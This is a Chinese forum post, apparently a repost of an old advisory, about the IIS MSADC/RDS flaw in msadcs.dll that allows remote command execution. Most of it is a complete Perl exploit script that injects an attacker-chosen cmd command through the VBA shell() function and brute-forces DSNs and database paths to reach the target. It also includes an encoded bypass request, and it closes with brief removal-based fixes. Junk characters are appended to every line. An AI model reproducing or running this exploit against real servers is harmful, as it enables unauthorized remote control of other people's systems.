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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 2@W`OW Njm  
~b @"ir+g4  
涉及程序: _(-i46x}  
Microsoft NT server 5"y)<VLJX  
gO{$p q}  
描述: cJf&R^[T  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #jJ0Mxg  
ZUD{V  
详细: Oyb0t|do+  
如果你没有时间读详细内容的话,就删除: =ld!=II  
c:\Program Files\Common Files\System\Msadc\msadcs.dll `A9fanh  
有关的安全问题就没有了。 *{,}pK2*  
X .sOZb?$  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 |8tKN"QG  
|ZC'a!  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 \H&;.??W  
关于利用ODBC远程漏洞的描述,请参看: >{l b|Vx  
M3Qi]jO98  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 3?D{iMRM  
`n@;%*6/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 y|=KrvMHJ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Kn1T2WSAg  
U&43/;<,  
这里不再论述。 '14 86q@[$  
ii&ckg>]z  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Vw3=jIQN:!  
}t:* w  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset "_2;+@+  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! EI)2 c.A  
QeN7~ J  
AQ0zsy  
#将下面这段保存为txt文件,然后: "perl -x 文件名" "&{.g1i9  
8 &v)Vi-  
#!perl 2a;[2':  
# )?I*zc  
# MSADC/RDS 'usage' (aka exploit) script r&ys?@+G  
# c$lZ\r"  
# by rain.forest.puppy )c?nh3D  
# F@HJ3O9  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me pFV~1W:  
# beta test and find errors! 2R ^6L@fw  
OI8}v  
use Socket; use Getopt::Std; }346uF7C  
getopts("e:vd:h:XR", \%args); 8C? E1fH\  
ktRGl>J  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; I0><IaFy  
u%6b|M@P  
if (!defined $args{h} && !defined $args{R}) { $Yp.BE<}  
print qq~ d^v.tYM$N  
Usage: msadc.pl -h <host> { -d <delay> -X -v } a]Y9;(  
-h <host> = host you want to scan (ip or domain) j/F('r~L  
-d <seconds> = delay between calls, default 1 second ?G<?: /CU  
-X = dump Index Server path table, if available F\v~2/J5v  
-v = verbose d'H gek{T  
-e = external dictionary file for step 5 K`j:F>b  
=(Y0wZP|  
Or a -R will resume a command session ]>ndFE6kl  
MttFB;Tp  
~; exit;} :Rnwyj])  
uHRxV"@}[1  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; "c?31$6  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} xn@oNKD0  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ];5Auh 0o  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); (9=E5n6o  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} vP+qwvpGr  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } HV7f%U  
T\ukJ25!  
if (!defined $args{R}){ $ret = &has_msadc; +JM@kdE5b  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} "!fwIEG  
Ed{sC[j=  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" C rl:v8  
. "cmd /c "; `Q/\w1-Q  
$in=<STDIN>; chomp $in; 7Ka4?@bQ  
$command="cmd /c " . $in ; ori[[~OyB  
FQE(qltf,  
if (defined $args{R}) {&load; exit;} cct/mX2&~  
.6I'V3:Kg  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; :h/v"2uDN  
&try_btcustmr; eAqpP>9n  
ITEf Q@#jU  
print "\nStep 2: Trying to make our own DSN..."; =fdW H4  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; gjFQDrz(  
Y"^.6  
print "\nStep 3: Trying known DSNs..."; ZR"qrCSw`  
&known_dsn; fC[~X[H  
)O$S3ojZ  
print "\nStep 4: Trying known .mdbs..."; Z c#Jb  
&known_mdb; M _lLP8W}  
JiuA"ks)  
if (defined $args{e}){ U.b|3E/^  
print "\nStep 5: Trying dictionary of DSN names..."; (<@`MPI\@  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } iel@"E 4  
rz2,42H]  
print "Sorry Charley...maybe next time?\n"; jGo\_O<of  
exit; qn,fx6v4  
+x/vZXtOK  
############################################################################## >6@,L+-6r  
&3x da1H  
sub sendraw { # ripped and modded from whisker Q`Q"p  
sleep($delay); # it's a DoS on the server! At least on mine... `*`ZgTV  
my ($pstr)=@_; #l.s> B4  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || OECVExb@eH  
die("Socket problems\n"); yu > ;m.e_  
if(connect(S,pack "SnA4x8",2,80,$target)){ J!dv"Ww"  
select(S); $|=1; rusYNb1J  
print $pstr; my @in=<S>; Fu\#:+5\  
select(STDOUT); close(S); -V[!qI  
return @in; fY #Yn  
} else { die("Can't connect...\n"); }} JsMN_%y?  
}jU)s{>fb  
############################################################################## 'A\0^EvVv  
O*B9 Bah  
sub make_header { # make the HTTP request Snp(&TD<<  
my $msadc=<<EOT ~V?\@R:g  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 }<w9Jfr"X  
User-Agent: ACTIVEDATA %qqeL   
Host: $ip vQy<%[QO  
Content-Length: $clen }w2Et  
Connection: Keep-Alive D0MW~Y6{  
3H4T*&9;n  
ADCClientVersion:01.06 >IA1 \?(  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 @+)T"5_Y[  
]1|7V|N6  
--!ADM!ROX!YOUR!WORLD! <Lt"e8Z>x  
Content-Type: application/x-varg rSm#/)4A  
Content-Length: $reqlen gQ%mVJB{(  
8DbP$Wwi  
EOT o]&P0 b  
; $msadc=~s/\n/\r\n/g; 5Z"N2D)."  
return $msadc;} Y% @;\  
L `=*Pwcj  
############################################################################## BQeg-M  
T!pZj_ h=  
sub make_req { # make the RDS request 'aEN(Mdz1e  
my ($switch, $p1, $p2)=@_; \_i22/Et  
my $req=""; my $t1, $t2, $query, $dsn; BO6XY90(  
$(08!U  
if ($switch==1){ # this is the btcustmr.mdb query mv`b3 $  
$query="Select * from Customers where City=" . make_shell(); nPl,qcyY  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ?P#\ CW  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} %|f@WxNrU  
TV0Y{x*~iH  
elsif ($switch==2){ # this is general make table query PGVp1TQ  
$query="create table AZZ (B int, C varchar(10))"; oR7f3';?6  
$dsn="$p1";}  Bs>S2]  
PlgpH'z4$  
elsif ($switch==3){ # this is general exploit table query 5LU7}v~/  
$query="select * from AZZ where C=" . make_shell(); sqjDh  
$dsn="$p1";} huR ^l  
N+H[Y4c?F&  
elsif ($switch==4){ # attempt to hork file info from index server *A")A.R  
$query="select path from scope()"; 9;`hJ!r  
$dsn="Provider=MSIDXS;";} ed3wj3@  
%\)AT"  
elsif ($switch==5){ # bad query }g|9P SbJ  
$query="select"; / T_v8 {D  
$dsn="$p1";} O`N,aYo  
EaH/Gg3  
$t1= make_unicode($query); :!fY;c?  
$t2= make_unicode($dsn); 1]A\@(  
$req = "\x02\x00\x03\x00"; "d M-3o<  
$req.= "\x08\x00" . pack ("S1", length($t1)); V%C'@m(/SZ  
$req.= "\x00\x00" . $t1 ; >fkV65w{*  
$req.= "\x08\x00" . pack ("S1", length($t2)); %zDi|WZ  
$req.= "\x00\x00" . $t2 ; 6@FxPi9|#  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; k)8*d{*  
return $req;} Yfs eX;VX  
6{g&9~V  
############################################################################## D4$"02"  
WU.eeiX  
sub make_shell { # this makes the shell() statement l <Z7bo  
return "'|shell(\"$command\")|'";} r&:yZN  
:6m"}8*q8  
############################################################################## i3Xo6!Q  
AP4s_X+=  
sub make_unicode { # quick little function to convert to unicode :`<MlX  
my ($in)=@_; my $out; T8W^qrx.v  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } qDfhR`1k  
return $out;} Z*v`kl  
}>3jHWxLc  
############################################################################## TQ[J,  
_. EM])b  
sub rdo_success { # checks for RDO return success (this is kludge) pE0@m-p  
my (@in) = @_; my $base=content_start(@in); E>2AG3)  
if($in[$base]=~/multipart\/mixed/){ ?#nk}=;g8  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ~*~aFf5  
return 0;} %j{*`}  
rTJ;s  
############################################################################## "avG#rsH  
R?}%rP+^e  
sub make_dsn { # this makes a DSN for us E5*pD*#  
my @drives=("c","d","e","f"); \Il?$Kb/  
print "\nMaking DSN: "; c`\qupnY  
foreach $drive (@drives) { gl2l%]=\'  
print "$drive: "; e<~bDFH  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . OF;"%IW~}  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" &0d5".|s  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); T)e Uo  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; aqQ  U7  
return 0 if $2 eq "404"; # not found/doesn't exist 0j}@lOt(  
if($2 eq "200") { (#qQ;ch  
foreach $line (@results) { 4CS$%Cu\?w  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 0fV}n:4Pq  
} return 0;} 8M BY3F  
wARd^Iw  
############################################################################## Kv#Q$$)r  
`nc=@" 1  
sub verify_exists { n*#HokX  
my ($page)=@_; _U,Hi?b"$}  
my @results=sendraw("GET $page HTTP/1.0\n\n"); t+,2 p|B  
return $results[0];} 0a,B&o1  
UA4MtTp`  
############################################################################## hxw6^EA  
%xp 69  
sub try_btcustmr { ?]+! gz1  
my @drives=("c","d","e","f"); >J:liB|(  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8zjJshE/  
_5OxESE  
foreach $dir (@dirs) { *h pS/g/3\  
print "$dir -> "; # fun status so you can see progress R(f%*S4  
foreach $drive (@drives) { ndk~(ex|j  
print "$drive: "; # ditto wawJZ+V  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; lt\Bm<"z!1  
$reqlenlen=length( "$reqlen" ); TpHzf3.I  
$clen= 206 + $reqlenlen + $reqlen; p>+Q6o9O  
B@' OUcUR  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); [3x*47o"z  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 20:![/7:!  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} <" 0b 8 Z  
P#rS.CIh  
############################################################################## X'xnJtk  
QVl"l'e8  
sub odbc_error { f %q ?  
my (@in)=@_; my $base; o,$K=#Iv  
my $base = content_start(@in); (SA^> r  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ],'"iVh  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dMI G2log  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~Ds3 -#mMy  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %P C[-(Q  
return $in[$base+4].$in[$base+5].$in[$base+6];} 3aJYl3:0B  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; }5Km \OI  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . @jZ1WHS_a  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} f'Oj01[  
9j 0o)]  
############################################################################## <uo@k'   
/8"rCh|m-  
sub verbose { }z2[w@M  
my ($in)=@_; /#?! 9c  
return if !$verbose; o Z%oP V:  
print STDOUT "\n$in\n";} Pa?C-Xn^  
meGL T/   
############################################################################## E0u&hBd3_  
/HdjPxH  
sub save { ^#4<~zU  
my ($p1, $p2, $p3, $p4)=@_; on1B~?*D  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; *{O[}  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; xgvwH?<  
close OUT;} U@53VmrOy  
Sj v iH  
##############################################################################  e `K{  
+{%)}?F  
sub load { R^INl@(O  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; \86NV="U  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); |:L}/onK  
@p=<IN>; close(IN); .F/s (  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); EQ>@K-R  
$target= inet_aton($ip) || die("inet_aton problems"); +.-mqtM  
print "Resuming to $ip ..."; ]UGk"s5A  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; h1$75E?,  
if($p[1]==1) { h" f_T [  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 7s Gf_`Z  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; P]2V~I/X  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); &#!1 Y[e^  
if (rdo_success(@results)){print "Success!\n";} a/[)A _-  
else { print "failed\n"; verbose(odbc_error(@results));}} l;B  
elsif ($p[1]==3){ `(E$-m-~jH  
if(run_query("$p[3]")){ ,G[Y< ~Hy  
print "Success!\n";} else { print "failed\n"; }} a&7uRR26  
elsif ($p[1]==4){ VDiW9]  
if(run_query($drvst . "$p[3]")){ p@oz[017/J  
print "Success!\n"; } else { print "failed\n"; }} Ue!yK  
exit;} f*Os~@K  
1R7tnR@[u  
############################################################################## xrv0%  
U&#`5u6'j  
sub create_table { RSnBG"  
my ($in)=@_; WS%yV|e  
$reqlen=length( make_req(2,$in,"") ) - 28; /0XmU@B  
$reqlenlen=length( "$reqlen" ); ^zfs8]QSf  
$clen= 206 + $reqlenlen + $reqlen; #K!"/,d@>J  
my @results=sendraw(make_header() . make_req(2,$in,"")); N686~  
return 1 if rdo_success(@results); 2AEVBkF;M  
my $temp= odbc_error(@results); verbose($temp); ZzxWKIE'c  
return 1 if $temp=~/Table 'AZZ' already exists/; eYevj[c;  
return 0;} YdN]Tqc  
gJ^taUE  
############################################################################## 4zZ.v"laVM  
x~](d8*=  
sub known_dsn { s&XL{FE  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go o.s(=iG  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", U.Y7]#P:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", `]a0z|2'!  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ,Kt51vGi  
U/_hH*N"!  
foreach $dSn (@dsns) { xtK\-[n  
print "."; ` }B,w-,io  
next if (!is_access("DSN=$dSn")); ')Y1c O  
if(create_table("DSN=$dSn")){ e$&n)>%  
print "$dSn successful\n"; 5<P6PHdY  
if(run_query("DSN=$dSn")){ *U`R<mV\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { AS'+p%(  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 8is QL  
=q*c}8R_0  
############################################################################## yet ~  
yD@1H(yM  
sub is_access { 69`*u<{PC  
my ($in)=@_; )"7z'ar  
$reqlen=length( make_req(5,$in,"") ) - 28; d\25  
$reqlenlen=length( "$reqlen" ); #7KR`H  
$clen= 206 + $reqlenlen + $reqlen; ?-tNRIPW@p  
my @results=sendraw(make_header() . make_req(5,$in,"")); D  ,[yx='  
my $temp= odbc_error(@results); /QQjb4S}  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); R iFUa $  
return 0;} T`9nY!  
6h0}ZM  
############################################################################## %pqB/  
Zay%QNsb  
sub run_query { $EzWUt  
my ($in)=@_; 8s %YudW  
$reqlen=length( make_req(3,$in,"") ) - 28; >*Ej2ex  
$reqlenlen=length( "$reqlen" ); WpRM|"CF  
$clen= 206 + $reqlenlen + $reqlen; e0j4t-lL  
my @results=sendraw(make_header() . make_req(3,$in,"")); v8n^~=SH  
return 1 if rdo_success(@results); amQTPNI  
my $temp= odbc_error(@results); verbose($temp); n~0MhE0H  
return 0;} }_('3C,Ba  
&(e5*Q  
############################################################################## G,<l}(tEG  
Z*-a=u%gl'  
sub known_mdb { S)/548=`  
my @drives=("c","d","e","f","g"); jmcys _N3  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _]{LjJ!M  
my $dir, $drive, $mdb; (H\ `/%Bp  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; hDQk z qW  
i1'G_bo4F7  
# this is sparse, because I don't know of many 5>ktr)]  
my @sysmdbs=( "\\catroot\\icatalog.mdb", F!p;]B  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", cDK)zD  
"\\system32\\certmdb.mdb", Vhr6bu]  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% UcH#J &r  
N(2M  w:}  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ]&dPY[~,/i  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;>S|?M4GZ  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", y~su1wUp  
"\\cfusion\\cfapps\\security\\realm_.mdb", .Lu3LVS  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", $\|Q+7lQ  
"\\cfusion\\database\\cfexamples.mdb", ?[P>2oz  
"\\cfusion\\database\\cfsnippets.mdb", oB~V~c}8x  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", X4Pm&ol  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", lxr;AJ(  
"\\cfusion\\brighttiger\\database\\cleam.mdb", j(k}NWPH  
"\\cfusion\\database\\smpolicy.mdb", '+3C2!  
"\\cfusion\\database\cypress.mdb", 6 N:Ps8Hg  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Zo }^"u  
"\\website\\cgi-win\\dbsample.mdb", )dh`aQ%N "  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", RD=V`l{Z  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Hsd76z#8  
); #these are just :,g]Om^  
foreach $drive (@drives) { sZEa8  
foreach $dir (@dirs){ S _ UAz  
foreach $mdb (@sysmdbs) { =LGSywWM9  
print "."; g/i%XTX>  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 1 -C~C]&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Ob}XeN(L3  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ L u'<4 R  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; yqVoedN  
} else { print "Something's borked. Use verbose next time\n"; }}}}} *M_^I)*L  
<q>d@Foi  
foreach $drive (@drives) { )[|_q,  
foreach $mdb (@mdbs) { cG%X}ZV5  
print "."; rs( e  
if(create_table($drv . $drive . $dir . $mdb)){ f re5{=@  
print "\n" . $drive . $dir . $mdb . " successful\n"; pLys%1hg  
if(run_query($drv . $drive . $dir . $mdb)){ /J&ks>St  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; *N }$~N  
} else { print "Something's borked. Use verbose next time\n"; }}}} Nh}u]<B  
} V!>j: "  
9v?@2sOoE  
############################################################################## !2^~ar{2  
WuFBt=%  
sub hork_idx { TdT`V f  
print "\nAttempting to dump Index Server tables...\n"; 9* huO#  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _zi| GD  
$reqlen=length( make_req(4,"","") ) - 28; 8R:Glif  
$reqlenlen=length( "$reqlen" ); O0s!3hKu  
$clen= 206 + $reqlenlen + $reqlen; 08D:2 z1z  
my @results=sendraw2(make_header() . make_req(4,"","")); FSAX , Y  
if (rdo_success(@results)){ C"%B >e  
my $max=@results; my $c; my %d; (|rf>=B+H  
for($c=19; $c<$max; $c++){ /oLY\>pD  
$results[$c]=~s/\x00//g; MLg{Y?@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; _[-W*,xJ)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; xR|^{y9n  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; O&yAFiCd  
$d{"$1$2"}="";} K]G(u"'  
foreach $c (keys %d){ print "$c\n"; } 72.Msnn  
} else {print "Index server doesn't seem to be installed.\n"; }} pnyu&@e  
Bq1}"092  
############################################################################## ewHs ]V+U  
!n P4S)A  
sub dsn_dict { Q\T?t  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); SbzJeaZv  
while(<IN>){ o4J@M{xb_  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; g_N^Y  
next if (!is_access("DSN=$dSn")); Jj 5VBI!Ok  
if(create_table("DSN=$dSn")){  S~E@A.7  
print "$dSn successful\n"; { 0&l*@c&  
if(run_query("DSN=$dSn")){ Cb`,N  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { c))?9H ,e)  
print "Something's borked. Use verbose next time\n";}}} \nPf\6;M  
print "\n"; close(IN);} "Dc\w@`E 0  
Cl-P6NlR".  
############################################################################## ] $r].,&  
yT5OFD|T  
sub sendraw2 { # ripped and modded from whisker yU4mS;GX  
sleep($delay); # it's a DoS on the server! At least on mine... }.Z `   
my ($pstr)=@_; s=F[.X9lp  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || G6}&k[d5%  
die("Socket problems\n"); DwZRx@  
if(connect(S,pack "SnA4x8",2,80,$target)){ URg;e M#  
print "Connected. Getting data"; :#35mBe}k  
open(OUT,">raw.out"); my @in; w0lgB%97p  
select(S); $|=1; print $pstr; (Y8 LyY  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} =QbOvIq  
close(OUT); select(STDOUT); close(S); return @in; XWQ `]m)  
} else { die("Can't connect...\n"); }} tHHJ|4C  
@"1Z;.S8V  
############################################################################## .4tu{\YX  
P:N> #G~z  
sub content_start { # this will take in the server headers FfrC/"N  
my (@in)=@_; my $c; #D|%r-:"  
for ($c=1;$c<500;$c++) { JbS[(+o  
if($in[$c] =~/^\x0d\x0a/){ &qWB\m  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } M \  
else { return $c+1; }}} -!\%##r7~  
return -1;} # it should never get here actually P=KhR&gwV~  
,aGIq. *v  
############################################################################## *78c2`)[  
m- ibS:  
sub funky { UZrEFpi  
my (@in)=@_; my $error=odbc_error(@in); O(!; 7v}  
if($error=~/ADO could not find the specified provider/){ h6^|f%\w*i  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; sgGA0af  
exit;} -,T!/E  
if($error=~/A Handler is required/){ V,0$mBYa  
print "\nServer has custom handler filters (they most likely are patched)\n"; Wf"GA i  
exit;} OKK Ko`RN  
if($error=~/specified Handler has denied Access/){ sQkijo.  
print "\nServer has custom handler filters (they most likely are patched)\n"; s-+-?$K  
exit;}} "~._G5i.  
{i?G:K  
############################################################################## ge.>#1f}  
KK2YT/K$SG  
sub has_msadc { !4=_l6kg~+  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); -m=A1~|7  
my $base=content_start(@results); yiI oqvP  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); {wj%WSQj/y  
return 0;} L 6fbR-&Lt  
/|i*'6*  
######################## fCF.P"{W"  
X&LJ"ahK  
W;2J~V!c  
解决方案: -3v\ c~  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 5N%d Les  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 +~aIT=i3  
<I tS_/z  
拿出来充数 哈哈
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